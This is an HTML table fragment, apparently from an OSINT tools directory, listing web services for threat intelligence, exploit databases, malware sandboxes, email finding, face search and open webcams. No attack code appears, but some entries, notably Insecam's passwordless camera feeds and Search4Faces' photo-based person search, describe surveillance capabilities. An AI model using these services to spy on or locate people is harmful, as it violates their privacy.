<tr><td><a href='https://fullhunt.io'>FullHunt</a><br><a href='https://www.facebook.com/fullhunt.io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/fullhunt'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://github.com/fullhunt'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Discover, monitor, and secure your attack surface. FullHunt delivers the best platform in the market for attack surface security.</td><td>GLOBAL</td><td>web,network</td></tr>
<tr><td><a href='https://crt.sh'>crtSH</a><br><a href='https://github.com/crtsh'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Free CT Log Certificate Search Tool from Sectigo (formerly Comodo CA)</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://web.archive.org'>Web Archive</a><br><a href='https://twitter.com/internetarchive'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/internetnetarchive'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Explore more than 787 billion web pages saved over time.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://vulners.com'>Vulners</a><br><a href='https://t.me/VulnersChat'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://facebook.com/vulnersdb'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/vulners'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://twitter.com/vulnerscom'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://github.com/vulnerscom'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Search Engine for Security Intelligence</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://tria.ge'>Triage</a><br></td><td>Analyze malware samples free. A state-of-the-art malware analysis sandbox, with all the features you need. High-volume sample submission in a customizable environment with detections and configuration extraction for many malware families. View public reports and classify your malware today!</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://urlscan.io'>URLScan</a><br><a href='https://twitter.com/urlscanio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Website scanner for suspicious and malicious URLs.</td><td>GLOBAL</td><td>malware,phishing</td></tr>
<tr><td><a href='https://packetstormsecurity.com'>PacketStormSecurity</a><br><a href='https://twitter.com/packet_storm'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.</td><td>GLOBAL</td><td>exploit,vulnerability</td></tr>
<tr><td><a href='https://hunter.io'>Hunter</a><br><a href='https://twitter.com/EmailHunter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/EmailHunter.co'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/hunter-io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCAaEqu5fM-nSVvWZ656nd5g'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://github.com/hunter-io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Hunter is the leading solution to find and verify professional email addresses. Start using Hunter and connect with the people that matter for your business.</td><td>GLOBAL</td><td>company</td></tr>
<tr><td><a href='https://www.binaryedge.io'>BinaryEdge</a><br><a href='https://twitter.com/binaryedgeio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/binaryedgeio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/binaryedge'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>BinaryEdge scans the internet and acquire data that can be transformed into threat intelligence feeds or security reports.</td><td>GLOBAL</td><td>web,network,breach,malware</td></tr>
<tr><td><a href='https://www.wigle.net'>Wigle</a><br><a href='https://twitter.com/wiglenet'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Maps and database of 802.11 wireless networks, with statistics, submitted by wardrivers, netstumblers, and net huggers.</td><td>GLOBAL</td><td>network,vulnerability</td></tr>
<tr><td><a href='http://www.insecam.org'>Insecam</a><br></td><td>The world biggest directory of online surveillance security cameras. Select a country to watch live street, traffic, parking, office, road, beach, earth online webcams. Now you can search live web cams around the world. You can find here Axis, Panasonic, Linksys, Sony, TPLink, Foscam and a lot of other network video cams available online without a password.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://www.findemails.com'>FindEmails</a><br><a href='https://twitter.com/EmailPatterns'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/FindEmails'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Sales, marketing, and recruiting professionals use our tools to find emails, verify emails, and buy email lists.</td><td>GLOBAL</td><td>company</td></tr>
<tr><td><a href='https://advangle.com'>Advangle</a><br></td><td>Advangle is a simple and convenient builder of complex web-search queries. This service allows you to quickly build a query with multiple parameters (such as the 'domain', 'language' or 'date published') and immediately see the result of this query in Google or Bing search engines. You can save your queries in Advangle account (reqistration is free) to get back to them later.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://labs.inquest.net'>InQuest Labs</a><br><a href='https://www.twitter.com/inquest'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/inquest.net'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://github.com/inquest'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCKra9C__cMHfyqi8dB5roEA'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>InQuest Labs is an open API and interactive research portal designed to empower individual analysts with the tools and data requisite to discover and publish new and novel threats.</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.virustotal.com'>VirusTotal</a><br></td><td>Analyse suspicious files, domains, IPs and URLs to detect malware and other breaches, automatically share them with the security community.</td><td>GLOBAL</td><td>malware,phishing,breach</td></tr>
<tr><td><a href='https://www.foreignaffairs.com'>ForeignAffairs</a><br><a href='https://twitter.com/foreignaffairs'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/ForeignAffairs'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/foreignaffairsmag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/foreign-affairs-magazine'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/ForeignAffairsMag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Since its founding in 1922, Foreign Affairs has been the leading forum for serious discussion of American foreign policy and global affairs. It is now a multiplatform media organization with a print magazine, a website, a mobile site, various apps and social media feeds, an event business, and more.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://maltiverse.com'>MaltiVerse</a><br><a href='https://github.com/maltiverse'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://twitter.com/maltiverse_com'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Small and medium SecOps teams cannot invest such a big time and effort to onboard tens of Threat Intelligence sources, curate and maintain them. Maltiverse automates this hard job and provides a strongly effective and affordable Threat Intelligence service. Maltiverse Threat Intelligence Feeds can be integrated with your security stack to provide improvement in terms of detections and protection capabilities from different points of view. You can also upload an deploy your own Threat Intelligence!</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://index.commoncrawl.org'>CommonCrawl</a><br><a href='https://twitter.com/commoncrawl'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>We build and maintain an open repository of web crawl data that can be accessed and analyzed by anyone.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://www.usaid.gov'>USAID</a><br><a href='https://www.facebook.com/USAID'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/usaid'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/USaidVideo'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/usaid'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/usaid'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>USAID is the world's premier international development agency and a catalytic actor driving development results. USAID's work advances U.S. national security and economic prosperity, demonstrates American generosity, and promotes a path to recipient self-reliance and resilience.</td><td>GLOBAL</td><td>geopolitics,terrorism,economics</td></tr>
<tr><td><a href='https://www.cybercampaigns.net'>Cyber Campaigns</a><br></td><td>Keeping track of the silent fight in cyberspace</td><td>GLOBAL</td><td>malware</td></tr>
<tr><td><a href='https://www.skymem.info'>Skymem</a><br><a href='https://www.facebook.com/groups/169518103095402'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.facebook.com/Skymem-128969217176249'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/skymem'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Find email addresses of companies and people</td><td>GLOBAL</td><td>company</td></tr>
<tr><td><a href='https://www.zerodayinitiative.com'>ZDI</a><br><a href='https://twitter.com/thezdi'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The Zero Day Initiative (ZDI) was created to encourage the reporting of 0-day vulnerabilities privately to the affected vendors by financially rewarding researchers. At the time, there was a perception by some in the information security industry that those who find vulnerabilities are malicious hackers looking to do harm. Some still feel that way. While skilled, malicious attackers do exist, they remain a small minority of the total number of people who actually discover new flaws in software.</td><td>GLOBAL</td><td>vulnerability,exploit</td></tr>
<tr><td><a href='https://www.cifor.org'>CIFOR</a><br><a href='https://twitter.com/CIFOR'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/cifor'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/cifor_forests'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/center-for-international-forestry-research'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The Center for International Forestry Research (CIFOR) envisions a more equitable world where forestry and landscapes enhance the environment and well-being all. It is a non-profit, scientific institution that conducts research on the most pressing challenges of forest and landscape management around the world. Using a global, multidisciplinary approach, we aim to improve human well-being, protect the environment, and increase equity. To do so, we conduct innovative research, develop partners' capacity, and actively engage in dialogue with all stakeholders to inform policies and practices that affect forests and people.</td><td>GLOBAL</td><td>natural</td></tr>
<tr><td><a href='https://www.cifor.org'>Noema</a><br><a href='https://www.facebook.com/NoemaMag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/NoemaMag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/noemamag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/noemamag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Noema is an award-winning magazine exploring the transformations sweeping our world. We publish essays, interviews, reportage, videos and art on the overlapping realms of philosophy, governance, geopolitics, economics, technology and culture.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://www.urlvoid.com'>URLVoid</a><br><a href='https://twitter.com/URLVoid'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/URLVoid'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>This service helps you detect potentially malicious websites.</td><td>GLOBAL</td><td>malware,phishing</td></tr>
<tr><td><a href='https://phonebook.cz'>PhoneBook</a><br><a href='https://twitter.com/_IntelligenceX'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Phonebook lists all domains, email addresses, or URLs for the given input domain.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://firms.modaps.eosdis.nasa.gov'>FIRMS</a><br></td><td>Fire Information for Resource Management System (FIRMS) is a global fire map and data from NASA. It provides near real-time active fire data from MODIS and VIIRS to meet the needs of firefighters, scientists and users interested in monitoring fires. Fire data is available for download or can be viewed through a map interface. Users can subscribe to email alerts bases on their area of interest.</td><td>GLOBAL</td><td>natural</td></tr>
<tr><td><a href='https://search4faces.com'>Search4Faces</a><br></td><td>Search4Faces is a service for searching people on the Internet by photo. Thanks to the technology of neural networks and machine learning, we will help you find the right person or someone very similar to him in a few seconds. The result is a link to the profile of the found person in the social network vk.com or ok.ru, and others in the near future).</td><td>GLOBAL</td><td>image</td></tr>
<tr><td><a href='https://earthquaketrack.com'>Earthquake Track</a><br></td><td>Earthquake Track was created to make understanding earthquakes easier. It contains information on earthquakes since the year 1900. New earthquakes usually appear on the site within a few minutes.</td><td>GLOBAL</td><td>natural</td></tr>
<tr><td><a href='https://analyzeid.com'>AnalyzeID</a><br><a href='https://twitter.com/analyzeid'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Find Other Websites Owned By The Same Person</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://www.osintdojo.com'>OSINT Dojo</a><br><a href='https://www.youtube.com/osintdojo'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://twitter.com/osintdojo'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>OSINT Dojo provides those new to the OSINT field a number of free resources and simple challenges that build on one another to provide a simple road map for learning more about the field and polishing up related skills while also earning badges to show off your accomplishments.</td><td>GLOBAL</td><td>roadmap</td></tr>
<tr><td><a href='https://www.crimemapping.com'>CrimeMapping</a><br></td><td>CrimeMapping has been developed by CentralSquare Technologies to help law enforcement agencies throughout North America provide the public with valuable information about recent crime activity in their neighborhood. Our goal is to assist police departments in reducing crime through a better-informed citizenry. Creating more self-reliance among community members is a great benefit to community oriented policing efforts everywhere and has been proven effective in combating crime.</td><td>GLOBAL</td><td>crimes</td></tr>
<tr><td><a href='https://citizen.com'>Citizen</a><br><a href='https://twitter.com/citizenapp'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/citizen_app'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.facebook.com/citizenapp'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Citizen helps you stay safe & informed, by providing instant notifications and live broadcasts of reported crimes and incidents near you.</td><td>GLOBAL</td><td>crimes</td></tr>
<tr><td><a href='https://hungermap.wfp.org'>HungerMap</a><br></td><td>HungerMap is the World Food Programme (WFP)'s global hunger monitoring system. It combines key metrics from various data sources - such as food security information, weather, population size, conflict, hazards, nutrition information and macro-economic data - to help assess, monitor and predict the magnitude and severity of hunger in near real-time. The resulting analysis is displayed on an interactive map that helps WFP staff, key decision makers and the broader humanitarian community to make more informed and timely decisions relating to food security.</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://www.earthcam.com'>EarthCam</a><br><a href='http://twitter.com/earthcam'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='http://www.facebook.com/earthcaminc'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://instagram.com/earthcam'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/earthcam-inc-'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/uc6qrg3w8smk0jior2olka3g'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>EarthCam is the leading network of live streaming webcams for tourism and entertainment. Explore unique and interesting locations around the world with 4K streaming technology. EarthCam provides complete infrastructure services to manage, host and maintain live streaming video solutions for its consumers and corporate clients.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://www.rain-alarm.com'>Rain Alarm</a><br><a href='https://twitter.com/rainalarm'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>This weather app alerts you when rain is approaching.</td><td>GLOBAL</td><td>natural</td></tr>
<tr><td><a href='https://freedomhouse.org'>Freedom House</a><br><a href='https://twitter.com/freedomhouse'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/FreedomHouseDC'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Freedom House is founded on the core conviction that freedom flourishes in democratic nations where governments are accountable to their people; the rule of law prevails; and freedoms of expression, association, and belief, as well as respect for the rights of women, minority communities, and historically marginalized groups, are guaranteed.</td><td>GLOBAL</td><td>geopolitics,terrorism,crimes</td></tr>
<tr><td><a href='https://www.lightpollutionmap.info'>LPM</a><br></td><td>Interactive world light pollution map. The map uses NOAA/EOG VIIRS, World Atlas 2015, Aurora prediction, observatories, clouds and SQM/SQC overlay contributed by users.</td><td>GLOBAL</td><td>natural</td></tr>
<tr><td><a href='https://www.variotdbs.pl'>VARIoT</a><br></td><td>VARIoT is an EU project Databases of IoT vulnerabilities and exploits aggregated from many sources. These databases has been created as a part of VARIoT, EU project co-financed by the Connecting Europe Facility of the European Union and the Polish Ministry of Education and Science.</td><td>GLOBAL</td><td>network,web,vulnerability,exploit</td></tr>
